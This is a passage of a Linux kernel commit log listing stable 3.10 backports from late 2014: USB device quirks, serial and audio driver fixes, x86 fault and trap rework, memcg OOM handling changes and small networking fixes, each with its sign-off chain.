Tested-by: Robert Jarzmik Signed-off-by: Dmitry Eremin-Solenikov Acked-by: Robert Jarzmik Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d09d52e1bf139e24f2f5b6a813b1a4c1d68f3328 Author: Jurgen Kramer Date: Sat Nov 15 14:01:21 2014 +0100 ALSA: usb-audio: Add ctrl message delay quirk for Marantz/Denon devices commit 6e84a8d7ac3ba246ef44e313e92bc16a1da1b04a upstream. This patch adds a USB control message delay quirk for a few specific Marantz/Denon devices. Without the delay the DACs will not work properly and produces the following type of messages: Nov 15 10:09:21 orwell kernel: [ 91.342880] usb 3-13: clock source 41 is not valid, cannot use Nov 15 10:09:21 orwell kernel: [ 91.343775] usb 3-13: clock source 41 is not valid, cannot use There are likely other Marantz/Denon devices using the same USB module which exhibit the same problems. But as this cannot be verified I limited the patch to the devices I could test. The following two devices are covered by this path: - Marantz SA-14S1 - Marantz HD-DAC1 Signed-off-by: Jurgen Kramer Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0aa9254340e60bc5ee92728963c4ae67192c00c6 Author: Alexey Khoroshilov Date: Sat Oct 11 00:31:07 2014 +0400 can: esd_usb2: fix memory leak on disconnect commit efbd50d2f62fc1f69a3dcd153e63ba28cc8eb27f upstream. It seems struct esd_usb2 dev is not deallocated on disconnect. The patch adds the missing deallocation. Found by Linux Driver Verification project (linuxtesting.org). Signed-off-by: Alexey Khoroshilov Acked-by: Matthias Fuchs Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 887e5090edb58c42ae108196aaee12f88c008cfb Author: Mathias Nyman Date: Tue Nov 18 11:27:11 2014 +0200 USB: xhci: don't start a halted endpoint before its new dequeue is set commit c3492dbfa1050debf23a5b5cd2bc7514c5b37896 upstream. A halted endpoint ring must first be reset, then move the ring dequeue pointer past the problematic TRB. If we start the ring too early after reset, but before moving the dequeue pointer we will end up executing the same problematic TRB again. As we always issue a set transfer dequeue command after a reset endpoint command we can skip starting endpoint rings at reset endpoint command completion. Without this fix we end up trying to handle the same faulty TD for contol endpoints. causing timeout, and failing testusb ctrl_out write tests. Fixes: e9df17e (USB: xhci: Correct assumptions about number of rings per endpoint.) Tested-by: Felipe Balbi Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit deeac12a8139d5c858229b6157a26fe413f1d9a7 Author: Hans de Goede Date: Mon Nov 24 11:22:38 2014 +0100 usb-quirks: Add reset-resume quirk for MS Wireless Laser Mouse 6000 commit 263e80b43559a6103e178a9176938ce171b23872 upstream. This wireless mouse receiver needs a reset-resume quirk to properly come out of reset. BugLink: https://bugzilla.redhat.com/show_bug.cgi?id=1165206 Signed-off-by: Hans de Goede Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 99322d1e05e953a7ece3bfd3151a8c21799b15bf Author: Troy Clark Date: Mon Nov 17 14:33:17 2014 -0800 usb: serial: ftdi_sio: add PIDs for Matrix Orbital products commit 204ec6e07ea7aff863df0f7c53301f9cbbfbb9d3 upstream. Add PIDs for new Matrix Orbital GTT series products. Signed-off-by: Troy Clark [johan: shorten commit message ] Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ab2c9ab9662c9ba66953aafab1bfb082b523030d Author: Preston Fick Date: Fri Nov 7 23:26:11 2014 -0600 USB: serial: cp210x: add IDs for CEL MeshConnect USB Stick commit ffcfe30ebd8dd703d0fc4324ffe56ea21f5479f4 upstream. Signed-off-by: Preston Fick Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9572838fd7d6cabadae4b83e7c4e74b5cb8bd1ba Author: Johan Hovold Date: Tue Nov 18 11:25:19 2014 +0100 USB: keyspan: fix tty line-status reporting commit 5d1678a33c731b56e245e888fdae5e88efce0997 upstream. Fix handling of TTY error flags, which are not bitmasks and must specifically not be ORed together as this prevents the line discipline from recognising them. Also insert null characters when reporting overrun errors as these are not associated with the received character. Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c6c4c14cad00499bac693d34b9b73d69d0e0303b Author: Johan Hovold Date: Tue Nov 18 11:25:20 2014 +0100 USB: keyspan: fix overrun-error reporting commit 855515a6d3731242d85850a206f2ec084c917338 upstream. Fix reporting of overrun errors, which are not associated with a character. Instead insert a null character and report only once. Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2dce4f00a68439fd55a642db8a73c0ffaafc507b Author: Johan Hovold Date: Tue Nov 18 11:25:21 2014 +0100 USB: ssu100: fix overrun-error reporting commit 75bcbf29c284dd0154c3e895a0bd1ef0e796160e upstream. Fix reporting of overrun errors, which should only be reported once using the inserted null character. Fixes: 6b8f1ca5581b ("USB: ssu100: set tty_flags in ssu100_process_packet") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c0643556054855cf44425f19cf9b5ec826ea50f7 Author: Cristina Ciocan Date: Tue Nov 11 16:07:42 2014 +0200 iio: Fix IIO_EVENT_CODE_EXTRACT_DIR bit mask commit ccf54555da9a5e91e454b909ca6a5303c7d6b910 upstream. The direction field is set on 7 bits, thus we need to AND it with 0111 111 mask in order to retrieve it, that is 0x7F, not 0xCF as it is now. Fixes: ade7ef7ba (staging:iio: Differential channel handling) Signed-off-by: Cristina Ciocan Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 32c3aec813fe944a8cd93d8fd2c4e8a3e8e433c5 Author: Laurent Dufour Date: Mon Nov 24 15:07:53 2014 +0100 powerpc/pseries: Fix endiannes issue in RTAS call from xmon commit 3b8a3c01096925a824ed3272601082289d9c23a5 upstream. On pseries system (LPAR) xmon failed to enter when running in LE mode, system is hunging. Inititating xmon will lead to such an output on the console: SysRq : Entering xmon cpu 0x15: Vector: 0 at [c0000003f39ffb10] pc: c00000000007ed7c: sysrq_handle_xmon+0x5c/0x70 lr: c00000000007ed7c: sysrq_handle_xmon+0x5c/0x70 sp: c0000003f39ffc70 msr: 8000000000009033 current = 0xc0000003fafa7180 paca = 0xc000000007d75e80 softe: 0 irq_happened: 0x01 pid = 14617, comm = bash Bad kernel stack pointer fafb4b0 at eca7cc4 cpu 0x15: Vector: 300 (Data Access) at [c000000007f07d40] pc: 000000000eca7cc4 lr: 000000000eca7c44 sp: fafb4b0 msr: 8000000000001000 dar: 10000000 dsisr: 42000000 current = 0xc0000003fafa7180 paca = 0xc000000007d75e80 softe: 0 irq_happened: 0x01 pid = 14617, comm = bash cpu 0x15: Exception 300 (Data Access) in xmon, returning to main loop xmon: WARNING: bad recursive fault on cpu 0x15 The root cause is that xmon is calling RTAS to turn off the surveillance when entering xmon, and RTAS is requiring big endian parameters. This patch is byte swapping the RTAS arguments when running in LE mode. Signed-off-by: Laurent Dufour Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 272d09849fc2ffcc1bf38d09d26f2add14f52c96 Author: Benjamin Herrenschmidt Date: Tue Oct 7 16:12:55 2014 +1100 powerpc/pseries: Honor the generic "no_64bit_msi" flag commit 415072a041bf50dbd6d56934ffc0cbbe14c97be8 upstream. Instead of the arch specific quirk which we are deprecating Signed-off-by: Benjamin Herrenschmidt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5253a4139ca186c03deff48ae6ec22f6be771232 Author: Benjamin Herrenschmidt Date: Fri Nov 14 17:55:03 2014 +1100 of/base: Fix PowerPC address parsing hack commit 746c9e9f92dde2789908e51a354ba90a1962a2eb upstream. We have a historical hack that treats missing ranges properties as the equivalent of an empty one. This is needed for ancient PowerMac "bad" device-trees, and shouldn't be enabled for any other PowerPC platform, otherwise we get some nasty layout of devices in sysfs or even duplication when a set of otherwise identically named devices is created multiple times under a different parent node with no ranges property. This fix is needed for the PowerNV i2c busses to be exposed properly and will fix a number of other embedded cases. Signed-off-by: Benjamin Herrenschmidt Acked-by: Grant Likely Signed-off-by: Rob Herring Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d48d336bae9dabfed922f41e64902e221d8b7ca6 Author: Fabio Estevam Date: Fri Nov 14 02:14:47 2014 -0200 ASoC: sgtl5000: Fix SMALL_POP bit definition commit c251ea7bd7a04f1f2575467e0de76e803cf59149 upstream. On a mx28evk with a sgtl5000 codec we notice a loud 'click' sound to happen 5 seconds after the end of a playback. The SMALL_POP bit should fix this, but its definition is incorrect: according to the sgtl5000 manual it is bit 0 of CHIP_REF_CTRL register, not bit 1. Fix the definition accordingly and enable the bit as intended per the code comment. After applying this change, no loud 'click' sound is heard after playback Signed-off-by: Fabio Estevam Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit afa8b677d91a0773ef1cd7e83ad0cc38851d1e58 Author: Benjamin Herrenschmidt Date: Fri Oct 3 15:13:24 2014 +1000 PCI/MSI: Add device flag indicating that 64-bit MSIs don't work commit f144d1496b47e7450f41b767d0d91c724c2198bc upstream. This can be set by quirks/drivers to be used by the architecture code that assigns the MSI addresses. We additionally add verification in the core MSI code that the values assigned by the architecture do satisfy the limitation in order to fail gracefully if they don't (ie. the arch hasn't been updated to deal with that quirk yet). Signed-off-by: Benjamin Herrenschmidt Acked-by: Bjorn Helgaas Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7ef91debf5a27524338a00d913a2d657262bb526 Author: Jiri Bohac Date: Wed Nov 19 23:05:49 2014 +0100 ipx: fix locking regression in ipx_sendmsg and ipx_recvmsg [ Upstream commit 01462405f0c093b2f8dfddafcadcda6c9e4c5cdf ] This fixes an old regression introduced by commit b0d0d915 (ipx: remove the BKL). When a recvmsg syscall blocks waiting for new data, no data can be sent on the same socket with sendmsg because ipx_recvmsg() sleeps with the socket locked. This breaks mars-nwe (NetWare emulator): - the ncpserv process reads the request using recvmsg - ncpserv forks and spawns nwconn - ncpserv calls a (blocking) recvmsg and waits for new requests - nwconn deadlocks in sendmsg on the same socket Commit b0d0d915 has simply replaced BKL locking with lock_sock/release_sock. Unlike now, BKL got unlocked while sleeping, so a blocking recvmsg did not block a concurrent sendmsg. Only keep the socket locked while actually working with the socket data and release it prior to calling skb_recv_datagram(). Signed-off-by: Jiri Bohac Reviewed-by: Arnd Bergmann Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bfb701a61315619968a8750da10098c1cf7fc515 Author: Mathias Krause Date: Wed Nov 19 18:05:26 2014 +0100 pptp: fix stack info leak in pptp_getname() [ Upstream commit a5f6fc28d6e6cc379c6839f21820e62262419584 ] pptp_getname() only partially initializes the stack variable sa, particularly only fills the pptp part of the sa_addr union. The code thereby discloses 16 bytes of kernel stack memory via getsockname(). Fix this by memset(0)'ing the union before. Cc: Dmitry Kozlov Signed-off-by: Mathias Krause Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4ca95ce69eee202b12691cd774c5163b95348a97 Author: Martin Hauke Date: Sun Nov 16 19:55:25 2014 +0100 qmi_wwan: Add support for HP lt4112 LTE/HSPA+ Gobi 4G Modem [ Upstream commit bb2bdeb83fb125c95e47fc7eca2a3e8f868e2a74 ] Added the USB VID/PID for the HP lt4112 LTE/HSPA+ Gobi 4G Modem (Huawei me906e) Signed-off-by: Martin Hauke Acked-by: Bjørn Mork Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 93dd78acb96dfd88338d94a3ca6752970703d189 Author: Alexey Khoroshilov Date: Sat Nov 15 02:11:59 2014 +0300 ieee802154: fix error handling in ieee802154fake_probe() [ Upstream commit 8c2dd54485ccee7fc4086611e188478584758c8d ] In case of any failure ieee802154fake_probe() just calls unregister_netdev(). But it does not look safe to unregister netdevice before it was registered. The patch implements straightforward resource deallocation in case of failure in ieee802154fake_probe(). Found by Linux Driver Verification project (linuxtesting.org). Signed-off-by: Alexey Khoroshilov Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 29e01e4c9804ae95350ecd84befc477bd0a1568c Author: Panu Matilainen Date: Fri Nov 14 13:14:32 2014 +0200 ipv4: Fix incorrect error code when adding an unreachable route [ Upstream commit 49dd18ba4615eaa72f15c9087dea1c2ab4744cf5 ] Trying to add an unreachable route incorrectly returns -ESRCH if if custom FIB rules are present: [root@localhost ~]# ip route add 74.125.31.199 dev eth0 via 1.2.3.4 RTNETLINK answers: Network is unreachable [root@localhost ~]# ip rule add to 55.66.77.88 table 200 [root@localhost ~]# ip route add 74.125.31.199 dev eth0 via 1.2.3.4 RTNETLINK answers: No such process [root@localhost ~]# Commit 83886b6b636173b206f475929e58fac75c6f2446 ("[NET]: Change "not found" return value for rule lookup") changed fib_rules_lookup() to use -ESRCH as a "not found" code internally, but for user space it should be translated into -ENETUNREACH. Handle the translation centrally in ipv4-specific fib_lookup(), leaving the DECnet case alone. On a related note, commit b7a71b51ee37d919e4098cd961d59a883fd272d8 ("ipv4: removed redundant conditional") removed a similar translation from ip_route_input_slow() prematurely AIUI. Fixes: b7a71b51ee37 ("ipv4: removed redundant conditional") Signed-off-by: Panu Matilainen Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 068acdc62e0f49d20c7379e1b2bd40484c7b1827 Author: Vincent BENAYOUN Date: Thu Nov 13 13:47:26 2014 +0100 inetdevice: fixed signed integer overflow [ Upstream commit 84bc88688e3f6ef843aa8803dbcd90168bb89faf ] There could be a signed overflow in the following code. The expression, (32-logmask) is comprised between 0 and 31 included. It may be equal to 31. In such a case the left shift will produce a signed integer overflow. According to the C99 Standard, this is an undefined behavior. A simple fix is to replace the signed int 1 with the unsigned int 1U. Signed-off-by: Vincent BENAYOUN Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8f16135f280454f59d04e768659f9ebf01731bf6 Author: David S. Miller Date: Sun Nov 16 13:19:32 2014 -0800 sparc64: Fix constraints on swab helpers. [ Upstream commit 5a2b59d3993e8ca4f7788a48a23e5cb303f26954 ] We are reading the memory location, so we have to have a memory constraint in there purely for the sake of showing the data flow to the compiler. Reported-by: Martin K. Petersen Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0f14a2fc546d8ac6dddb3f89bef2955fa12e6d33 Author: Andy Lutomirski Date: Fri Nov 21 13:26:07 2014 -0800 uprobes, x86: Fix _TIF_UPROBE vs _TIF_NOTIFY_RESUME commit 82975bc6a6df743b9a01810fb32cb65d0ec5d60b upstream. x86 call do_notify_resume on paranoid returns if TIF_UPROBE is set but not on non-paranoid returns. I suspect that this is a mistake and that the code only works because int3 is paranoid. Setting _TIF_NOTIFY_RESUME in the uprobe code was probably a workaround for the x86 bug. With that bug fixed, we can remove _TIF_NOTIFY_RESUME from the uprobes code. Reported-by: Oleg Nesterov Acked-by: Srikar Dronamraju Acked-by: Borislav Petkov Signed-off-by: Andy Lutomirski Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 923cd87f9bd4bb6d3485186dc26de70e27c515ec Author: Kees Cook Date: Fri Nov 14 11:47:37 2014 -0800 x86, mm: Set NX across entire PMD at boot commit 45e2a9d4701d8c624d4a4bcdd1084eae31e92f58 upstream. When setting up permissions on kernel memory at boot, the end of the PMD that was split from bss remained executable. It should be NX like the rest. This performs a PMD alignment instead of a PAGE alignment to get the correct span of memory. Before: ---[ High Kernel Mapping ]--- ... 0xffffffff8202d000-0xffffffff82200000 1868K RW GLB NX pte 0xffffffff82200000-0xffffffff82c00000 10M RW PSE GLB NX pmd 0xffffffff82c00000-0xffffffff82df5000 2004K RW GLB NX pte 0xffffffff82df5000-0xffffffff82e00000 44K RW GLB x pte 0xffffffff82e00000-0xffffffffc0000000 978M pmd After: ---[ High Kernel Mapping ]--- ... 0xffffffff8202d000-0xffffffff82200000 1868K RW GLB NX pte 0xffffffff82200000-0xffffffff82e00000 12M RW PSE GLB NX pmd 0xffffffff82e00000-0xffffffffc0000000 978M pmd [ tglx: Changed it to roundup(_brk_end, PMD_SIZE) and added a comment. We really should unmap the reminder along with the holes caused by init,initdata etc. but thats a different issue ] Signed-off-by: Kees Cook Cc: Andy Lutomirski Cc: Toshi Kani Cc: Yasuaki Ishimatsu Cc: David Vrabel Cc: Wang Nan Cc: Yinghai Lu Link: http://lkml.kernel.org/r/20141114194737.GA3091@www.outflux.net Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4e924cb0b46bb2d12d542ed1dda976941cb974bb Author: Dave Hansen Date: Tue Nov 11 14:01:33 2014 -0800 x86: Require exact match for 'noxsave' command line option commit 2cd3949f702692cf4c5d05b463f19cd706a92dd3 upstream. We have some very similarly named command-line options: arch/x86/kernel/cpu/common.c:__setup("noxsave", x86_xsave_setup); arch/x86/kernel/cpu/common.c:__setup("noxsaveopt", x86_xsaveopt_setup); arch/x86/kernel/cpu/common.c:__setup("noxsaves", x86_xsaves_setup); __setup() is designed to match options that take arguments, like "foo=bar" where you would have: __setup("foo", x86_foo_func...); The problem is that "noxsave" actually _matches_ "noxsaves" in the same way that "foo" matches "foo=bar". If you boot an old kernel that does not know about "noxsaves" with "noxsaves" on the command line, it will interpret the argument as "noxsave", which is not what you want at all. This makes the "noxsave" handler only return success when it finds an *exact* match. [ tglx: We really need to make __setup() more robust. ] Signed-off-by: Dave Hansen Cc: Dave Hansen Cc: Fenghua Yu Cc: x86@kernel.org Link: http://lkml.kernel.org/r/20141111220133.FE053984@viggo.jf.intel.com Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 79f63ad4ec316c1b899a074177b17fc439c080e1 Author: Andy Lutomirski Date: Sat Nov 22 18:00:33 2014 -0800 x86_64, traps: Rework bad_iret commit b645af2d5905c4e32399005b867987919cbfc3ae upstream. It's possible for iretq to userspace to fail. This can happen because of a bad CS, SS, or RIP. Historically, we've handled it by fixing up an exception from iretq to land at bad_iret, which pretends that the failed iret frame was really the hardware part of #GP(0) from userspace. To make this work, there's an extra fixup to fudge the gs base into a usable state. This is suboptimal because it loses the original exception. It's also buggy because there's no guarantee that we were on the kernel stack to begin with. For example, if the failing iret happened on return from an NMI, then we'll end up executing general_protection on the NMI stack. This is bad for several reasons, the most immediate of which is that general_protection, as a non-paranoid idtentry, will try to deliver signals and/or schedule from the wrong stack. This patch throws out bad_iret entirely. As a replacement, it augments the existing swapgs fudge into a full-blown iret fixup, mostly written in C. It's should be clearer and more correct. Signed-off-by: Andy Lutomirski Reviewed-by: Thomas Gleixner Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7bd8b0ed98416c9281cb5b36af6c0e0019b23bd3 Author: Andy Lutomirski Date: Sat Nov 22 18:00:32 2014 -0800 x86_64, traps: Stop using IST for #SS commit 6f442be2fb22be02cafa606f1769fa1e6f894441 upstream. On a 32-bit kernel, this has no effect, since there are no IST stacks. On a 64-bit kernel, #SS can only happen in user code, on a failed iret to user space, a canonical violation on access via RSP or RBP, or a genuine stack segment violation in 32-bit kernel code. The first two cases don't need IST, and the latter two cases are unlikely fatal bugs, and promoting them to double faults would be fine. This fixes a bug in which the espfix64 code mishandles a stack segment violation. This saves 4k of memory per CPU and a tiny bit of code. Signed-off-by: Andy Lutomirski Reviewed-by: Thomas Gleixner Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 744507cd53f910094445a8de73b18ed6a29347e8 Author: Andy Lutomirski Date: Sat Nov 22 18:00:31 2014 -0800 x86_64, traps: Fix the espfix64 #DF fixup and rewrite it in C commit af726f21ed8af2cdaa4e93098dc211521218ae65 upstream. There's nothing special enough about the espfix64 double fault fixup to justify writing it in assembly. Move it to C. This also fixes a bug: if the double fault came from an IST stack, the old asm code would return to a partially uninitialized stack frame. Fixes: 3891a04aafd668686239349ea58f3314ea2af86b Signed-off-by: Andy Lutomirski Reviewed-by: Thomas Gleixner Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c3e11fac501ea80bca721f40faced47e24c65d87 Author: Aaro Koskinen Date: Thu Nov 20 01:05:38 2014 +0200 MIPS: Loongson: Make platform serial setup always built-in. commit 26927f76499849e095714452b8a4e09350f6a3b9 upstream. If SERIAL_8250 is compiled as a module, the platform specific setup for Loongson will be a module too, and it will not work very well. At least on Loongson 3 it will trigger a build failure, since loongson_sysconf is not exported to modules. Fix by making the platform specific serial code always built-in. Signed-off-by: Aaro Koskinen Reported-by: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: Huacai Chen Cc: Markos Chandras Patchwork: https://patchwork.linux-mips.org/patch/8533/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 34954e2c3f283ccd4fd5ba25a9180a28179a4c8f Author: Aaro Koskinen Date: Fri Oct 17 18:10:24 2014 +0300 MIPS: oprofile: Fix backtrace on 64-bit kernel commit bbaf113a481b6ce32444c125807ad3618643ce57 upstream. Fix incorrect cast that always results in wrong address for the new frame on 64-bit kernels. Signed-off-by: Aaro Koskinen Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/8110/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d9359f094204e0d7c131c87271afb02596ab292e Author: Greg Kroah-Hartman Date: Fri Nov 21 09:23:22 2014 -0800 Linux 3.10.61 Signed-off-by: Pranav Vashi commit 8791ec80a70f9c5a59d82a489fae6a30a8eb73ba Author: Johannes Weiner Date: Wed Oct 16 13:46:59 2013 -0700 mm: memcg: handle non-error OOM situations more gracefully commit 4942642080ea82d99ab5b653abb9a12b7ba31f4a upstream. Commit 3812c8c8f395 ("mm: memcg: do not trap chargers with full callstack on OOM") assumed that only a few places that can trigger a memcg OOM situation do not return VM_FAULT_OOM, like optional page cache readahead. But there are many more and it's impractical to annotate them all. First of all, we don't want to invoke the OOM killer when the failed allocation is gracefully handled, so defer the actual kill to the end of the fault handling as well. This simplifies the code quite a bit for added bonus. Second, since a failed allocation might not be the abrupt end of the fault, the memcg OOM handler needs to be re-entrant until the fault finishes for subsequent allocation attempts. If an allocation is attempted after the task already OOMed, allow it to bypass the limit so that it can quickly finish the fault and invoke the OOM killer. Reported-by: azurIt Signed-off-by: Johannes Weiner Cc: Michal Hocko Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Cong Wang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit caf8335b4bdb752d4e45e2615f9883cd72d460a4 Author: Johannes Weiner Date: Thu Sep 12 15:13:44 2013 -0700 mm: memcg: do not trap chargers with full callstack on OOM commit 3812c8c8f3953921ef18544110dafc3505c1ac62 upstream. The memcg OOM handling is incredibly fragile and can deadlock. When a task fails to charge memory, it invokes the OOM killer and loops right there in the charge code until it succeeds. Comparably, any other task that enters the charge path at this point will go to a waitqueue right then and there and sleep until the OOM situation is resolved. The problem is that these tasks may hold filesystem locks and the mmap_sem; locks that the selected OOM victim may need to exit. For example, in one reported case, the task invoking the OOM killer was about to charge a page cache page during a write(), which holds the i_mutex. The OOM killer selected a task that was just entering truncate() and trying to acquire the i_mutex: OOM invoking task: mem_cgroup_handle_oom+0x241/0x3b0 mem_cgroup_cache_charge+0xbe/0xe0 add_to_page_cache_locked+0x4c/0x140 add_to_page_cache_lru+0x22/0x50 grab_cache_page_write_begin+0x8b/0xe0 ext3_write_begin+0x88/0x270 generic_file_buffered_write+0x116/0x290 __generic_file_aio_write+0x27c/0x480 generic_file_aio_write+0x76/0xf0 # takes ->i_mutex do_sync_write+0xea/0x130 vfs_write+0xf3/0x1f0 sys_write+0x51/0x90 system_call_fastpath+0x18/0x1d OOM kill victim: do_truncate+0x58/0xa0 # takes i_mutex do_last+0x250/0xa30 path_openat+0xd7/0x440 do_filp_open+0x49/0xa0 do_sys_open+0x106/0x240 sys_open+0x20/0x30 system_call_fastpath+0x18/0x1d The OOM handling task will retry the charge indefinitely while the OOM killed task is not releasing any resources. A similar scenario can happen when the kernel OOM killer for a memcg is disabled and a userspace task is in charge of resolving OOM situations. In this case, ALL tasks that enter the OOM path will be made to sleep on the OOM waitqueue and wait for userspace to free resources or increase the group's limit. But a userspace OOM handler is prone to deadlock itself on the locks held by the waiting tasks. For example one of the sleeping tasks may be stuck in a brk() call with the mmap_sem held for writing but the userspace handler, in order to pick an optimal victim, may need to read files from /proc/, which tries to acquire the same mmap_sem for reading and deadlocks. This patch changes the way tasks behave after detecting a memcg OOM and makes sure nobody loops or sleeps with locks held: 1. When OOMing in a user fault, invoke the OOM killer and restart the fault instead of looping on the charge attempt. This way, the OOM victim can not get stuck on locks the looping task may hold. 2. When OOMing in a user fault but somebody else is handling it (either the kernel OOM killer or a userspace handler), don't go to sleep in the charge context. Instead, remember the OOMing memcg in the task struct and then fully unwind the page fault stack with -ENOMEM. pagefault_out_of_memory() will then call back into the memcg code to check if the -ENOMEM came from the memcg, and then either put the task to sleep on the memcg's OOM waitqueue or just restart the fault. The OOM victim can no longer get stuck on any lock a sleeping task may hold. Debugged by Michal Hocko. Signed-off-by: Johannes Weiner Reported-by: azurIt Acked-by: Michal Hocko Cc: David Rientjes Cc: KAMEZAWA Hiroyuki Cc: KOSAKI Motohiro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Cong Wang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 75c755d86bb33970c0ce2e3b04344b017506a2db Author: Johannes Weiner Date: Thu Sep 12 15:13:43 2013 -0700 mm: memcg: rework and document OOM waiting and wakeup commit fb2a6fc56be66c169f8b80e07ed999ba453a2db2 upstream. The memcg OOM handler open-codes a sleeping lock for OOM serialization (trylock, wait, repeat) because the required locking is so specific to memcg hierarchies. However, it would be nice if this construct would be clearly recognizable and not be as obfuscated as it is right now. Clean up as follows: 1. Remove the return value of mem_cgroup_oom_unlock() 2. Rename mem_cgroup_oom_lock() to mem_cgroup_oom_trylock(). 3. Pull the prepare_to_wait() out of the memcg_oom_lock scope. This makes it more obvious that the task has to be on the waitqueue before attempting to OOM-trylock the hierarchy, to not miss any wakeups before going to sleep. It just didn't matter until now because it was all lumped together into the global memcg_oom_lock spinlock section. 4. Pull the mem_cgroup_oom_notify() out of the memcg_oom_lock scope. It is proctected by the hierarchical OOM-lock. 5. The memcg_oom_lock spinlock is only required to propagate the OOM lock in any given hierarchy atomically. Restrict its scope to mem_cgroup_oom_(trylock|unlock). 6. Do not wake up the waitqueue unconditionally at the end of the function. Only the lockholder has to wake up the next in line after releasing the lock. Note that the lockholder kicks off the OOM-killer, which in turn leads to wakeups from the uncharges of the exiting task. But a contender is not guaranteed to see them if it enters the OOM path after the OOM kills but before the lockholder releases the lock. Thus there has to be an explicit wakeup after releasing the lock. 7. Put the OOM task on the waitqueue before marking the hierarchy as under OOM as that is the point where we start to receive wakeups. No point in listening before being on the waitqueue. 8. Likewise, unmark the hierarchy before finishing the sleep, for symmetry. Signed-off-by: Johannes Weiner Acked-by: Michal Hocko Cc: David Rientjes Cc: KAMEZAWA Hiroyuki Cc: azurIt Cc: KOSAKI Motohiro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Cong Wang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f94ff000f4605d077203e4e5c27711a2748ea9f5 Author: Johannes Weiner Date: Thu Sep 12 15:13:42 2013 -0700 mm: memcg: enable memcg OOM killer only for user faults commit 519e52473ebe9db5cdef44670d5a97f1fd53d721 upstream. System calls and kernel faults (uaccess, gup) can handle an out of memory situation gracefully and just return -ENOMEM. Enable the memcg OOM killer only for user faults, where it's really the only option available. Signed-off-by: Johannes Weiner Acked-by: Michal Hocko Cc: David Rientjes Cc: KAMEZAWA Hiroyuki Cc: azurIt Cc: KOSAKI Motohiro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Cong Wang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e803c317831fd8385f7e06896be789cebbddadc6 Author: Johannes Weiner Date: Thu Sep 12 15:13:40 2013 -0700 x86: finish user fault error path with fatal signal commit 3a13c4d761b4b979ba8767f42345fed3274991b0 upstream. The x86 fault handler bails in the middle of error handling when the task has a fatal signal pending. For a subsequent patch this is a problem in OOM situations because it relies on pagefault_out_of_memory() being called even when the task has been killed, to perform proper per-task OOM state unwinding. Shortcutting the fault like this is a rather minor optimization that saves a few instructions in rare cases. Just remove it for user-triggered faults. Use the opportunity to split the fault retry handling from actual fault errors and add locking documentation that reads suprisingly similar to ARM's. Signed-off-by: Johannes Weiner Reviewed-by: Michal Hocko Acked-by: KOSAKI Motohiro Cc: David Rientjes Cc: KAMEZAWA Hiroyuki Cc: azurIt Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Cong Wang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d15996ef4ee39188bcc29c55e63c9b124e928dea Author: 